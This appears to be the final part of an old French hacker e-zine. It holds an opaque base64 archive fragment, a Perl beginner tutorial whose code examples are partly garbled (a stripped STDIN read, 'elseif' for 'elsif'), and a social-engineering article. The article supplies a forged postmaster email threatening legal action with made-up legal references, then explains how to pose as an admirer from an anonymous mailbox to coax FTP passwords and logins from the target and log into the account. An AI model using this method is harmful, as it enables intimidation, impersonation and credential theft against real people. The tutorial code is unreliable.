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 aFBLBQYAAAAAAQABAD0AAACXFwAAAAA= ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ _ ______________________ _ -*8*- `^°*;:,.> Un tutorial PERL <.,:;*°^` _____________________________/¯¯¯ By BirkOss ¯¯¯\___________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ Tutorial de perl By birkoss@yahoo.fr QHA Introduction -=-=-=-=-=-= Le language PERL est tres ressemblant du C. Je dit ca parce que plusieurs cote de C se retrouvent aussi dans le PERL. Si vous programmez en C, la programmation en PERL ne sera pas trop difficile. La base -=-=-=- Votre source peux avoir comme nom n'importe quoi (ex: TEST, essaie.pl, etc..) Mais c'est conseiller de prendre l'extension .pl Comme le PERL ne se compile pas, il y a deux facons de l'executer. 1) Avec perl fichier.pl 2) Avec chmod 755 fichier.pl, et ensuite ./fichier.pl En PERL, les instructions doivent (comme en C/C++) finir par un point-virgule ( ; ). Les espaces et autres choses sont quelquefois libres au programmeur. Les commentaires commence avec un ( # ). Exemple print "Salut"; # Ce qui est apres #, est ignoré. La premiere ligne de ton script doit commencer par le chemin indiquant ou est PERL. Pour savoir ou est le binaire de PERL, taper : find / -name perl -print Chez nous, il est dans /usr/bin/perl donc, pour la premiere ligne, je vais mettre : #!/usr/bin/perl Les variables -=-=-=-=-=-=- Les chaines de caracteres/caracteres/entiers -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= La variable doit commencer par un ( $ ) et doit avoir comme premier caractere une lettre, apres, c'est au choix du programmeur. Le PERL accorde aussi le caractere ( _ ) pour les noms. Exemple : $CHAINE = "Votre chaine"; $age = 16; $Mon_nick = "birkoss"; IMPOSSIBLE: $69pour = "bla bla bla"; $Marche-pas = "compris ?"; Les tableaux -=-=-=-=-=-= Les tableaux doivent commencer, contrairement par un ( @ ), et doit lui aussi commencer par une lettre. Exemple : @tableau = (1,2,3,4,5,6,7,8,9,10); @tableau2 = @tableau; @lettre = ('a','b','c','d','e'); @mixte = ('a',2,3,4,'e',5,6,7,'i'); @mot = ("QHA","will","never","die"); Affectation et operateur -=-=-=-=-=-=-=-=-=-=-=-= Pour les entiers, les operateurs sont : + (Additionner) - (Soustraire) * (Multiplier) / (Diviser) On peux faire en comme en C : $nombre = 0; $nombre++; #++ est egal a +1 Afficher du texte/variable (Avec print) -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Comme je l'ait dit plutot, le perl peut ecrire une fonction de differente facon. Les 3 exemples suivants sont equivalents : print("Salut"); print "Salut"; print 'Salut'; Voici un petit exemple : ---------- Code ------------ #!/usr/bin/perl $Crew_le_plus_hot = "QHA"; print "Quel est le crew le plus hot : $Crew_le_plus_hot"; --------Fin du code------------ Cet exemple va afficher : Quel est le crew le plus hot : QHA Pour afficher un tableau, c'est le meme principe : print "Tableau : @tableau"; Comme en C, l'utilisation de \n pour afficher un saut de ligne est permis. Pour afficher sur un autre ligne, tu peux aussi faire : print "Ce texte est sur des lignes differentes"; Les boucles -=-=-=-=-=- if =- if sert a faire une boucle. Sa syntaxe est : if(expression) { instruction a faire si l'expression est vraie } Dans l'expression, il doit y avoir un operateur. Pour les entiers, ils sont comme en C : == (Egal) != (Different) > (Plus grand) < (Plus petit) >= (Plus grand ou egal) <= (Plus petit ou egal) Pour les chaines de caracteres : eq (Egal) ne (Different) lt (Inferieur) gt (Superieur) le (Inferieur ou egal) ge (Superieur ou egal) Dans une expression, il peut y avoir 2 chiffre. Exemple : if(10==10) # Si 10 est egal a 10 Une variable et un chiffre : $age= 16; if($age > 18) # Si $age (16) est # plus grand que 18 Ou deux variables : $Yeux = "brun"; $cheveux = "brun"; if($yeux eq $cheveux) # Si $yeux (brun) est pareil # a $cheveux (brun) else -=-= Le else accompagne habituellement le if. Le else sinifie 'sinon'. Si la condition du if n'est pas vraie, le programme continue son execution dans le else. Exemple : $nombre = 12; if($nombre == 10) { print "Le nombre vaut 10"; } else { print "le nombre ne vaut pas 10"; } (ndt : notez qu'en ajoutant trois espaces a tous les elements concernes par la condition le code devient beaucoup plus lisible) elseif -=-=-= elseif agit comme un if. Exemple : $nombre==12; if($nombre==10) { print "Le nombre vaut 10"; } elseif($nombre==12) { print "Le nombre vaut 11"; } else { print "Le nombre ne vaut pas 10 ni 11"; } for -=- for est une boucle qui fait ce qui est dans le for (entre les parentheses { et }) tant que la valeur initiale n'est pas atteinte. La syntaxe de for est comme en C : for(valeur initiale;valeur finale;valeur d'incrementation) { instruction a faire tant que la valeur finale n'est pas atteinte vont ici } Exemple: for($nombre;$nombre<=10;$nombre++) { print "Salut\n"; } while -=-=- while signifie tant que, while est semblable a for, while fait tout ce qui est entre ces parentheses tant que l'expression est vraie. Sa syntaxe est : while(expression) { instruction a faire ici } Exemple : $nombre = 1; while($nombre != 10) { $nombre++; } while ici ne fait rien sinon d'ajouter un ( +1 ) dans $nombre jusqu'a temps qu'il soit egal a 10 (pcq dans l'expression du while est tant que $nombre est different a 10, faire ...) Saisie de clavier (avec STDIN) -=-=-=-=-=-=-=-=-=-=-=-=-=-=-= La saisie se termine avec un ENTER. La syntaxe est : $variable = ; Exemple : -------Code------------ #!/usr/bin/perl $age = ; print "Tu as $age ans"; ----Fin du code-------- Lors de l'execution, on obtiens (Dans cet exemple, je vais rentrer 16) [birkoss@QHA birkoss]$ chmod 755 test.pl [birkoss@QHA birkoss]$ ./test.pl 16 Tu as 16 ans[birkoss@QHA birkoss]$ Comme tu peux voir, un retour chariot (Celui que tu utilises pour terminer la saisie) est a la fin de la chaine. Pour l'oter, va voir plus loin dans la section chop. syste m -=-=-= La commande system est identique en C. Elle sert a faire une commmande du systeme d'exploitation. Syntaxe : system("commande"); Exemple : system("ls"); cela affiche le contenus du repertoire ou le script est system("vi qha.txt"); cela cree (ou ouvre si il deja creer) le fichier qha.txt avec vi chop -=-= La commande chop sert a oter le dernier caractere d'une chaine. (Tres utile pour oter le retour chariot d'un variable saisie avec STDIN). Sa syntaxe : chop($variable); Exemple : #!/usr/bin/perl $nick=; chop($nick); #pour oter le retour chariot print "$nick"; chop($nick); #pour oter le dernier caractere entrer print "$nick"; chr -=- La fonction chr sert a convertir un entier en ASCII. La syntaxe est : $variable=chr(entier); Exemple : #!/usr/bin/perl $test=chr(69); print "$test"; Cela va afficher : E length -=-=-= Cette commande sert a compter le nombre de caractere d'une variable. Sa syntaxe est : $variable=length($autre); Exemple : $lo = "SALUT"; $longueur=length($lo); # $longueur vaut 5 C'est tout pour le moment, mais un autre article va suivre. Birkoss ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ _ ______________________ _ -*9*- `^°*;:,.> L'ethique du SE <.,:;*°^` _____________________________/¯¯¯ By T. H. C. ¯¯¯\___________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ L'Ethik Social Engeneering ou Comment calmer un pote ---------------------------------------------------- "La marquise de sade avait un modem, et elle savait qu'elle serait morte avant de pouvoir s'en servir faute de reseau... Faut il blamer france telecom ? " Cet article n'a rien d'un mode d'emploi pour jouer a zorro, Il s'agit d'un exercice de style basé sur une experience vécue par t. h. et c. et qui selon eux valait le coup d'etre mise en doc. On se veut demonstratifs avant tout de l'etat de vulnerabilite dans lequel tout cybernaute accoutumé se trouve. On y dénonce la naiveté récursive qui en est issue. A noter que dans ce cadre, la victime ne perd pas grand chose d'autre qu'une partie de son orgueil et peut etre aussi un peu de sa vanité, d'ailleurs l'emploi de ce terme est surtout generique pour souligner la relation créée avec le complice et soi meme (et surtout pour donner un sens a cette phrase qui commence a gravement tirer en longueur et a jeter le trouble sur la raison originale de son existense). Alors sentez vous libre d'interpreter ce texte comme il vous plait, les degats qu'il pourrait occasionner sont calculés et ont certainement moins de repercussions sur le mental qu'une emission d'ardisson (toute verite est bonne a dire?). Abstrait -------- Predominance sur l'information, les consequences Dans un esprit d'ethique pratique sans onde de choc il est preferable de ne pas appliquer gratuitement ce procédé sans que la victime ne l'ait pas explicitement demandé. Un outil de segregation ? Toute activité qui consiste a faire agir autrui d'une maniere selon laquelle il n'agirait pas normalement, et pour des raisons qui lui sont etrangeres, est assimilable a de la manipulation. Ce genre de procédé est en général tres mal accueilli quand il est découvert. Neanmoins certains candidats crédules acceptent de jouer le jeu avec une spontanéité galvanisante. Un sac de briques Pratiquer le SE a aussi des effets sur la personnalité. Jouer des roles qui ne collent pas forcement a l'acteur peut avoir des effets imprevisibles sur le comportement social dans le réel, au détriment du virtuel. Le complice ----------- Le choix du personnage Un complice peut devenir soit bourreau soit victime, mais il ne restera jamais complice longtemps. Le remords ou le manque de remords vont le pousser a basculer vers un des deux autres roles. Le choix du sexe La metamorphose du papillon est presque aussi interessante que celles des batraciens, quoique plus demonstrative et plus esthetique. La conjonction de ces deux evenemnts peut amener a jouer un role ambigu. Mieux vaut choisir deux personnages de sexe different pour conserver un semblant d'integrite dans le dialogue. Le choix de sophie Le meme personnage devient bourreau, complice et victime en choisissant d'adopter un role feminin dans le but d'obtenir plus d'informations. La victime ---------- Predominance de l'ego sur la memoire Beaucoup de personnes ont tendance a confondre le web avec la realite -grossiere erreur-, et a se comporter exactement de la meme facon devant leur ordi que dans leur vie privée. Le probleme c'est qu'un ordinateur oublie plus difficilement qu'un etre humain. Les traces laissees dans le subconscient des interactifs reels sont negligeable quand on les compare aux sillons imperturbablement designatifs qui inexorablement redessinent le profil social de leur facteur initiatique avec un realisme etrangement poussé ... Demande explicite Si le melange connaissance et maturité n'est pas équilibré chez la victime, on peut assister a des demonstrations inutiles de force numerique ayant pour symptomes l'apparition de greetings sur des sites dont l'entrée a été délibérément forcée, ce qui a tendance a retourner la situation... Faut il reagir ? Le Cas Pratique (et le bourreau): --------------------------------- Voici la copie d'un mail qui est arrivee dans la boite d'une victime un peu trop engagée sur la pente de la frime. -------------------------------------------- From: postmaster@XXXXXXX.org To: h.@XXXXXX.org Subject: postmaster Monsieur, Suite a de nombreuses plaintes de la part de divers fournisseurs d'acces situes en europe et aux emirats arabes unis, nous avons fait un travail de recoupement et avons constaté l'évidence de ces diverses intrusions. Tout porte a penser que ces intrusions ont ete faites a partir de votre compte. La loi europeene sur les systemes automatisés nous oblige a transmettre nos archives aux autorités compétentes en cas d'enquete judiciaire. Les preuves de ces informations ont ete transmises ce matin au bureau de Maitre Capello a Bruxelles. Conformément a l'article L628 du code europeen, vous avez un délai d'une semaine pour faire opposition sur les resolutions du conseil. Cordialement postmaster --------------------------------------------- Analyse du courrier ------------------- La presence de l'article L628 du code penal et de maitre Capello sont les deux seules choses qui donnent de l'authenticité (!) a ce petit jeu médiatique pour allumés de la connexion. Sans references administratives (meme bidons) le courrier perd de son impact et vous avec, ceci rendant la victime plus mefiante a l'avenir et rendant l'operation quasiment impossible a accomplir. Le doute peut avoir un effet decisif s'il est controlé en temps réel, pour en repasser une couche (voir plus bas).. Un courrier d'intimidation etant rarement suffisant, il peut s'averer que la victime change de comportement et decide d'accepter d'etre un peu plus parano. On assiste alors a un deplacement des valeurs sur un plan virtuel au detriment du reel. La victime peut devenir agressive ou manifester des symptomes depressifs, mettant ainsi en evidence un besoin affectif inconditionnel : "merde je me sais fais pecho ;-(" Dans tous les cas les premiers soubresauts d'energie éveillée dans cette opération seront consacrés au doute, probablement a l'examination des headers du courrier. 3 lignes dans le header peuvent trahir : Received: (from www@nsp.gov)by domain.quelconque.fr (8.9.3/8.9.3 Savate Antispam Version) id XAA12761;Fri, 15 Sep 2000 23:19:23 +0200 (CEST) ----------------------------------------------------------------------------------- -Comment repasser une couche ? ------------------------------ Ouvrir un mail anonyme (sur yahoo ex:cyndia78@yahoo.fr), prendre contact avec la victime en faisant exagerement reference aux "prouesses" techniques réalisées en manifestant un gout maladroit pour l'informatique, ne pas oublier de faire des fautes de frappe.. En quelques mails il est facile d'obtenir quelques pass de ftp et probablement meme un login personnel. Si tel est le cas il ne reste plus qu'a se logger sur le compte et a lire les infos comme nom, prenom, email, meme des infos bidons sont exploitables. La paranoia est souvent contrebalancée (ou motivée) par une grande naivite et se manifeste parfois comme un etablissement de relation de confiance trop rapide envers des personnes inconnues. C'est une arme autant qu'une faiblesse a laquelle malheureusement personne n'echappe dans ce cyber monde (meme les plus avertis). Contre cela plusieurs armes : la desinformation, le port obligatoire du cyber masque, le jeu de role, le telephone arabe, les repas au castor, les suppos. -Pourquoi YAAASE ? (Yet Another Article About Social Engineering) _________________________________________________________________ He oui, encore un autre article sur le social engineering (on n'arrivera pas a l'ecrire deux fois pareil), alors qu'il en existe deja plein d'autres qui sont beaucoup plus complets, que cette discipline va se fondre dans un ocean de competences commerciales pour se faire appeler "conseil", "consulting" ou "benchmark", abandonne son premier role innocent de canular pour prendre un aspect malhonnete quand on lui prete les couleurs de l'underground (ou l'absence de couleurs?) ou un apsect prometteur quand il est associé a une cause officielle ou a une startup (les exploiteurs se reconnaissent toujours), que ca nous permet aussi de structurer des phrases toujours aussi longues et interminablesm et enfin (et surtout) pour qu'on recommence a se poser des questions sur l'origine de la phrase "trop d'information tue l'information"... T+H+C (bourreaux, victimes et complices) ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ Voila c'est fini pour ce numero 24 qui a été un peu long a sortir, pour le prochain numéro on vous peaufine un virus en php3 avec des capacites etonnnantes ainsi que quelques nouveautés concernant les telephones mobiles.... Enjoy tobozo _________________________________________________________________________________ ¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬¡¢£¤¥ ¦§¨©ª«¬­ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ -<\________________________/>- ~~ ~~ ~~ ~~°ºØø¦ ¿ H A C K 0 F F ? ¦øغ°~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~--~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ http://come.to/legang ~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ http://lasavate.tripod.com ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ ~ ~~ ~~ ~~ ~~ ...Des commentaires, des questions, des insultes, ecrivez aux membres du gang... _________________________________________________________________________________ ¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬¡¢£¤¥ ¦§¨©ª«¬­ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ _____________________________________ ((((((( H@CK-OFF !! )))))))) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~ ~ ¤º°`°º ¤º°`°º ¤º°`°º ~ ~ ~ ~ | SE | - | RI | - | AL | ~ ~ ~ ~ | SA | - | VA | - | TE | ~ ~ ~ ~ | SY | - | ST | - | EM | ~ ~ ~ ~ ø,¸¸,ø ø,¸¸,ø ø,¸¸,ø ~ ~ Cakeii - Tobozo - Yopyop - Silk - Nk Blured - Misto! - hertz - silk ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cakeii@usa.net courou@mail.com { \|/ >http://come.to/legang 8 -- * -- >silk@silk.cut { /|\ birkoss@yahoo.fr hal2001@nexen.net misto@bigfoot.com hertz@webmails.com tobozo@bigfoot.com sniffdoz@yahoo.com coolrasta@nexen.net blured75@hotmail.com ulysse31@madchat.org lansciac@caramail.com ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, / O o O o O o \ \ O O O / º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [EOF]